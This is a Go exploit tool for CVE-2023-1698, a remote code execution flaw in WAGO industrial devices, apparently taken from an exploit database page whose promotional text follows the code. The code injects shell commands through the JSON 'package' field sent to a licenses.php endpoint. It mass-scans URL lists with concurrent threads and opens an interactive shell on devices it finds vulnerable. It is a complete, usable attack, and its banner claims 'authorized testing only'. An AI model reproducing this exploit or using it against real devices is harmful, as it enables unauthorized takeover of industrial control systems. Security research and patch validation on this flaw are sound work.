package main
import (
"bufio"
"bytes"
"crypto/tls"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
)
const (
// ANSI color codes
ColorReset = "\033[0m"
ColorRed = "\033[31m"
ColorGreen = "\033[32m"
ColorYellow = "\033[33m"
ColorBlue = "\033[34m"
ColorPurple = "\033[35m"
ColorCyan = "\033[36m"
ColorWhite = "\033[37m"
Developer = "İbrahimsql"
)
type Payload struct {
Package string `json:"package"`
}
type Config struct {
URL string
URLList string
Output string
Threads int
Timeout int
Verbose bool
Command string
NoColor bool
UserAgent string
}
type Result struct {
URL string
Vulnerable bool
Output string
Error error
}
var (
mu sync.Mutex
wg sync.WaitGroup
)
func main() {
printBanner()
var config Config
flag.StringVar(&config.URL, "u", "", "Target URL to test")
flag.StringVar(&config.URL, "url", "", "Target URL to test")
flag.StringVar(&config.URLList, "l", "", "File containing list of URLs to test")
flag.StringVar(&config.URLList, "list", "", "File containing list of URLs to test")
flag.StringVar(&config.Output, "o", "", "Output file for vulnerable URLs")
flag.StringVar(&config.Output, "output", "", "Output file for vulnerable URLs")
flag.IntVar(&config.Threads, "t", 10, "Number of concurrent threads")
flag.IntVar(&config.Threads, "threads", 10, "Number of concurrent threads")
flag.IntVar(&config.Timeout, "timeout", 10, "HTTP request timeout in seconds")
flag.StringVar(&config.Command, "c", "id", "Command to execute (default: id)")
flag.StringVar(&config.Command, "cmd", "id", "Command to execute (default: id)")
flag.BoolVar(&config.Verbose, "v", false, "Verbose output")
flag.BoolVar(&config.Verbose, "verbose", false, "Verbose output")
flag.BoolVar(&config.NoColor, "no-color", false, "Disable colored output")
flag.StringVar(&config.UserAgent, "ua", "Mozilla/5.0 (compatible; CVE-2023-1698-Scanner)", "Custom User-Agent")
flag.Usage = func() {
fmt.Printf("CVE-2023-1698 Scanner v%s - WAGO RCE Exploit\n\n")
fmt.Println("Usage:")
fmt.Printf(" %s [OPTIONS]\n\n", os.Args[0])
fmt.Println("Options:")
flag.PrintDefaults()
fmt.Println("\nExamples:")
fmt.Printf(" %s -u http://target.com\n", os.Args[0])
fmt.Printf(" %s -l urls.txt -o vulnerable.txt -t 20\n", os.Args[0])
fmt.Printf(" %s -u http://target.com -c \"whoami\" -v\n", os.Args[0])
}
flag.Parse()
if config.URL == "" && config.URLList == "" {
fmt.Println(colorize(ColorRed, "[!] Error: Either -u/--url or -l/--list must be specified", config.NoColor))
flag.Usage()
return
}
if config.URL != "" {
// Single URL mode
result := scanSingleURL(config.URL, config)
if result.Vulnerable {
fmt.Printf("%s[+] %s is VULNERABLE!%s\n",
colorize(ColorRed, "", config.NoColor), config.URL, ColorReset)
if result.Output != "" {
fmt.Printf("%s[*] Command Output:%s %s\n",
colorize(ColorBlue, "", config.NoColor), ColorReset, result.Output)
}
// Interactive shell
startInteractiveShell(config.URL, config)
} else {
fmt.Printf("%s[+] %s is not vulnerable%s\n",
colorize(ColorGreen, "", config.NoColor), config.URL, ColorReset)
}
} else {
// Bulk URL mode
scanURLList(config.URLList, config)
}
}
func printBanner() {
fmt.Printf("%sCVE-2023-1698 Scanner%s - WAGO Remote Code Execution | Developer: %s%s%s\n",
ColorCyan, ColorReset, ColorPurple, Developer, ColorReset)
fmt.Printf("For authorized testing only%s\n\n", ColorYellow, ColorReset)
}
func colorize(color, text string, noColor bool) string {
if noColor {
return text
}
return color + text
}
func createHTTPClient(timeout int) *http.Client {
return &http.Client{
Timeout: time.Duration(timeout) * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
MaxIdleConns: 100,
MaxIdleConnsPerHost: 10,
},
}
}
func sendRequest(baseURL, command string, config Config) (*http.Response, error) {
// Enhanced payload construction
payload := Payload{
Package: fmt.Sprintf(";echo -n '[PWNED_START]';%s;echo -n '[PWNED_END]';#", command),
}
jsonData, err := json.Marshal(payload)
if err != nil {
return nil, fmt.Errorf("JSON marshal error: %v", err)
}
// Target endpoint
targetURL := fmt.Sprintf("%s/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php",
strings.TrimSuffix(baseURL, "/"))
client := createHTTPClient(config.Timeout)
req, err := http.NewRequest("POST", targetURL, bytes.NewBuffer(jsonData))
if err != nil {
return nil, fmt.Errorf("request creation error: %v", err)
}
// Enhanced headers to bypass simple filters
req.Header.Set("Content-Type", "application/json")
req.Header.Set("User-Agent", config.UserAgent)
req.Header.Set("Accept", "*/*")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept-Encoding", "gzip, deflate")
req.Header.Set("Connection", "keep-alive")
if config.Verbose {
fmt.Printf("%s[DEBUG] Sending request to: %s%s\n",
colorize(ColorYellow, "", config.NoColor), targetURL, ColorReset)
fmt.Printf("%s[DEBUG] Payload: %s%s\n",
colorize(ColorYellow, "", config.NoColor), string(jsonData), ColorReset)
}
return client.Do(req)
}
func checkVulnerability(url string, response *http.Response, config Config) (bool, string, error) {
if response == nil {
return false, "", fmt.Errorf("nil response")
}
body, err := io.ReadAll(response.Body)
if err != nil {
return false, "", fmt.Errorf("failed to read response body: %v", err)
}
defer response.Body.Close()
responseText := strings.ReplaceAll(string(body), "\\/", "/")
if config.Verbose {
fmt.Printf("%s[DEBUG] Response Status: %d%s\n",
colorize(ColorYellow, "", config.NoColor), response.StatusCode, ColorReset)
fmt.Printf("%s[DEBUG] Response Body (first 200 chars): %s%s\n",
colorize(ColorYellow, "", config.NoColor),
truncateString(responseText, 200), ColorReset)
}
// Enhanced pattern matching
patterns := []string{
`\[PWNED_START\](.*?)\[PWNED_END\]`, // Primary pattern
`\[S\](.*?)\[E\]`, // Fallback pattern
}
for _, patternStr := range patterns {
pattern := regexp.MustCompile(patternStr)
matches := pattern.FindStringSubmatch(responseText)
if len(matches) > 1 {
extractedContent := strings.TrimSpace(matches[1])
// Validate that we got actual command output
if extractedContent != "" && !strings.Contains(extractedContent, "error") {
return true, extractedContent, nil
}
}
}
// Additional checks for different response patterns
if strings.Contains(responseText, "uid=") ||
strings.Contains(responseText, "gid=") ||
strings.Contains(responseText, "root") {
return true, "Command executed successfully (detected uid/gid pattern)", nil
}
return false, "", nil
}
func scanSingleURL(url string, config Config) Result {
if config.Verbose {
fmt.Printf("%s[INFO] Scanning: %s%s\n",
colorize(ColorBlue, "", config.NoColor), url, ColorReset)
}
response, err := sendRequest(url, config.Command, config)
if err != nil {
return Result{
URL: url,
Vulnerable: false,
Error: err,
}
}
vulnerable, output, err := checkVulnerability(url, response, config)
return Result{
URL: url,
Vulnerable: vulnerable,
Output: output,
Error: err,
}
}
func scanURLList(filename string, config Config) {
file, err := os.Open(filename)
if err != nil {
fmt.Printf("%s[!] Error opening file: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
return
}
defer file.Close()
var urls []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
url := strings.TrimSpace(scanner.Text())
if url != "" && !strings.HasPrefix(url, "#") {
urls = append(urls, url)
}
}
if len(urls) == 0 {
fmt.Printf("%s[!] No valid URLs found in file%s\n",
colorize(ColorRed, "", config.NoColor), ColorReset)
return
}
fmt.Printf("%s[INFO] Loaded %d URLs for scanning%s\n",
colorize(ColorBlue, "", config.NoColor), len(urls), ColorReset)
// Create channels for URL processing
urlChan := make(chan string, len(urls))
resultChan := make(chan Result, len(urls))
// Start workers
for i := 0; i < config.Threads; i++ {
wg.Add(1)
go worker(urlChan, resultChan, config)
}
// Send URLs to workers
for _, url := range urls {
urlChan <- url
}
close(urlChan)
// Collect results
go func() {
wg.Wait()
close(resultChan)
}()
var vulnerableCount int
var outputFile *os.File
if config.Output != "" {
outputFile, err = os.Create(config.Output)
if err != nil {
fmt.Printf("%s[!] Error creating output file: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
} else {
defer outputFile.Close()
}
}
for result := range resultChan {
if result.Error != nil {
if config.Verbose {
fmt.Printf("%s[ERROR] %s: %v%s\n",
colorize(ColorRed, "", config.NoColor), result.URL, result.Error, ColorReset)
}
continue
}
if result.Vulnerable {
vulnerableCount++
fmt.Printf("%s[+] VULNERABLE: %s%s\n",
colorize(ColorRed, "", config.NoColor), result.URL, ColorReset)
if result.Output != "" {
fmt.Printf("%s[*] Output: %s%s\n",
colorize(ColorBlue, "", config.NoColor), result.Output, ColorReset)
}
if outputFile != nil {
outputFile.WriteString(result.URL + "\n")
}
} else if config.Verbose {
fmt.Printf("%s[+] Safe: %s%s\n",
colorize(ColorGreen, "", config.NoColor), result.URL, ColorReset)
}
}
fmt.Printf("\n%s[SUMMARY] Scan completed. Found %d vulnerable targets out of %d total%s\n",
colorize(ColorCyan, "", config.NoColor), vulnerableCount, len(urls), ColorReset)
}
func worker(urlChan <-chan string, resultChan chan<- Result, config Config) {
defer wg.Done()
for url := range urlChan {
result := scanSingleURL(url, config)
resultChan <- result
}
}
func startInteractiveShell(url string, config Config) {
fmt.Printf("\n%s[!] Starting interactive shell...%s\n",
colorize(ColorCyan, "", config.NoColor), ColorReset)
fmt.Printf("%s[!] Type 'exit' or 'quit' to quit%s\n",
colorize(ColorCyan, "", config.NoColor), ColorReset)
fmt.Printf("%s[!] Type 'clear' to clear screen%s\n",
colorize(ColorCyan, "", config.NoColor), ColorReset)
reader := bufio.NewReader(os.Stdin)
for {
fmt.Printf("%s# %s", colorize(ColorCyan, "", config.NoColor), ColorReset)
command, err := reader.ReadString('\n')
if err != nil {
fmt.Printf("%s[!] Error reading input: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
break
}
command = strings.TrimSpace(command)
if command == "" {
continue
}
if command == "exit" || command == "quit" {
fmt.Printf("%s[!] Exiting shell...%s\n",
colorize(ColorGreen, "", config.NoColor), ColorReset)
break
}
if command == "clear" {
fmt.Print("\033[H\033[2J")
continue
}
// Execute command
response, err := sendRequest(url, command, config)
if err != nil {
fmt.Printf("%s[!] Command execution failed: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
continue
}
vulnerable, output, err := checkVulnerability(url, response, config)
if err != nil {
fmt.Printf("%s[!] Error processing response: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
continue
}
if vulnerable && output != "" {
fmt.Printf("%s\n", output)
} else {
fmt.Printf("%s[!] No output or command failed%s\n",
colorize(ColorYellow, "", config.NoColor), ColorReset)
}
}
}
func truncateString(s string, maxLen int) string {
if len(s) <= maxLen {
return s
}
return s[:maxLen] + "..."
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation